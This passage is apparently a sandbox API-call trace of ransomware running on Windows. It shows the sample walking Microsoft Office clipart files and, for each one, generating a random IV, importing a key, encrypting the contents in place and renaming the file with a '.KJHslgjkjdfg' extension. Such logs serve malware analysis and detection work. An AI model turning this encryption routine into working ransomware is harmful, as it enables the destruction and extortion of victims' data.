hTemplateFile=0x0) returned 0x130 [0212.323] GetProcessHeap () returned 0x990000 [0212.323] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.323] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.325] GetProcessHeap () returned 0x990000 [0212.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.325] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.325] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.326] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.326] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.326] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.326] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.326] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.326] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3fe8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3fe8, lpOverlapped=0x0) returned 1 [0212.327] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ff0) returned 1 [0212.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.327] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ff0, lpOverlapped=0x0) returned 1 [0212.327] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.327] SetEndOfFile (hFile=0x130) returned 1 [0212.329] GetProcessHeap () returned 0x990000 [0212.329] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.329] GetProcessHeap () returned 0x990000 [0212.329] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.kjhslgjkjdfg")) returned 1 [0212.331] CloseHandle (hObject=0x130) returned 1 [0212.331] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0212.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.332] GetProcessHeap () returned 0x990000 [0212.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.332] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.334] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.334] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.334] GetProcessHeap () returned 0x990000 [0212.334] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.334] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.334] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.334] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.334] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.334] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.334] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.335] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1898, lpOverlapped=0x0) returned 1 [0212.338] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18a0, dwBufLen=0x18a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18a0) returned 1 [0212.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.338] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18a0, lpOverlapped=0x0) returned 1 [0212.338] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.338] SetEndOfFile (hFile=0x130) returned 1 [0212.340] GetProcessHeap () returned 0x990000 [0212.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.340] GetProcessHeap () returned 0x990000 [0212.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.kjhslgjkjdfg")) returned 1 [0212.342] CloseHandle (hObject=0x130) returned 1 [0212.342] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0212.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.343] GetProcessHeap () returned 0x990000 [0212.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.343] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.343] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.345] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.345] GetProcessHeap () returned 0x990000 [0212.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.345] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.345] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.345] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.345] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.346] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x29f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x29f8, lpOverlapped=0x0) returned 1 [0212.346] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a00) returned 1 [0212.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.347] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a00, lpOverlapped=0x0) returned 1 [0212.347] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.347] SetEndOfFile (hFile=0x130) returned 1 [0212.349] GetProcessHeap () returned 0x990000 [0212.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.349] GetProcessHeap () returned 0x990000 [0212.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.kjhslgjkjdfg")) returned 1 [0212.350] CloseHandle (hObject=0x130) returned 1 [0212.350] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0212.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.352] GetProcessHeap () returned 0x990000 [0212.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.352] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.352] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.354] GetProcessHeap () returned 0x990000 [0212.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.354] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.354] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.354] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.355] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x28b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x28b4, lpOverlapped=0x0) returned 1 [0212.355] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28c0) returned 1 [0212.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.356] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x28c0, lpOverlapped=0x0) returned 1 [0212.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.356] SetEndOfFile (hFile=0x130) returned 1 [0212.358] GetProcessHeap () returned 0x990000 [0212.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.358] GetProcessHeap () returned 0x990000 [0212.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.kjhslgjkjdfg")) returned 1 [0212.360] CloseHandle (hObject=0x130) returned 1 [0212.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0212.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.361] GetProcessHeap () returned 0x990000 [0212.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.361] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.363] GetProcessHeap () returned 0x990000 [0212.363] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.363] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.363] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.363] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, 